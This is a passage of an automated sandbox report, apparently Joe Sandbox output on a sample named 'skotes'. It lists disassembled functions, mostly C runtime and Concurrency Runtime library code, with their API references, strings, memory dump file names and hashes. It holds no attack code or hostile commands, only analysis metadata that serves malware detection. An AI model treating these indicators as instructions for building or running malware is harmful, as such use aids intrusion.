APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 001A1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001A1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001A1C2A

Strings

pContext, xrefs: 001A1C22
switchState, xrefs: 001A1B5E

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: eaacdc4e98d8958295b06e4d6bc65e1a3fedbb8c98024e44b714d5e0c940da93
Instruction ID: 2f8f20c64c46d6e94ab3b6f3fa67165927398de10caf6a1e88e48f2e0f5172c4
Opcode Fuzzy Hash: eaacdc4e98d8958295b06e4d6bc65e1a3fedbb8c98024e44b714d5e0c940da93
Instruction Fuzzy Hash: 6A31B839A40214BBCF05EFA4C885EADB7B5FF56324F204569E91597282EB70DE01CBA0

Function 001A4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 001A4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 001A4E86
PMDtoOffset.LIBCMT ref: 001A4EAC

Strings

Bad dynamic_cast!, xrefs: 001A4EEE

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: b79e3e1e9a5abb505b1eeca9fc52dc267da077ebc76bc809084e92ac223443e3
Instruction ID: 6509930c27eb64436c4c59a392f0aa230a1f7f90e84dc07a3767dd879f0e0387
Opcode Fuzzy Hash: b79e3e1e9a5abb505b1eeca9fc52dc267da077ebc76bc809084e92ac223443e3
Instruction Fuzzy Hash: D721087A600305AFCF14DFA8DD46EAA77B8FFE6720F104119F910D7180DBB5E90086A0

Function 001A727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 001A72BE

Strings

.cmd, xrefs: 001A72DC
.exe, xrefs: 001A72CB
.com, xrefs: 001A72FE
.bat, xrefs: 001A72ED

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: b33058147a3b943c8657db6b0565f08d0aaa0595db4488bcfc45c736346c2342
Instruction ID: 3a3404750ddc6b00f804033bfeb9a696a7385f4e87c2ebea21f9b3fe1984e541
Opcode Fuzzy Hash: b33058147a3b943c8657db6b0565f08d0aaa0595db4488bcfc45c736346c2342
Instruction Fuzzy Hash: BC01DB2F70C716256A155059AD02F6A1398AFE3BB4B16402EFC54F71C1DF54DD4261A4

Function 0018FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0018FB06

Strings

SetThreadGroupAffinity, xrefs: 0018FA87
kernel32.dll, xrefs: 0018FA7A
GetThreadGroupAffinity, xrefs: 0018FA93
GetCurrentProcessorNumberEx, xrefs: 0018FABE

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 3df467d17c5a621f32f2ad1a270aaa83a83c34bbbc5bcdf33cd8caf1a2d7f2c4
Instruction ID: 21f96ee1740822022b131da1f85c0a5c14aed7323e78993e7e5715222207e035
Opcode Fuzzy Hash: 3df467d17c5a621f32f2ad1a270aaa83a83c34bbbc5bcdf33cd8caf1a2d7f2c4
Instruction Fuzzy Hash: 1801F1667823153D9B2476B86C9AEEF36DC9F66750724192FB441E3182EFA4C8014670

Function 001A2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 001A20B7

Part of subcall function 0019CAF3: Mailbox.LIBCMT ref: 0019CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001A20C8
StructuredWorkStealingQueue.LIBCMT ref: 001A20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001A210F

Strings

e, xrefs: 001A20D9

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 6c40bb7d294cfd4614505c6b4983e7a955b1f7a6d3417eba70ddcb8ebabfb7ad
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 1811A039204145ABDB15DE7DC981AAA77A4EF17324B24816AFC069F242DB71D905CBA0

Function 0018D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0018D0A5

Strings

kernel32.dll, xrefs: 0018D04C
WakeAllConditionVariable, xrefs: 0018D069
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0018D03B
SleepConditionVariableCS, xrefs: 0018D05D

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
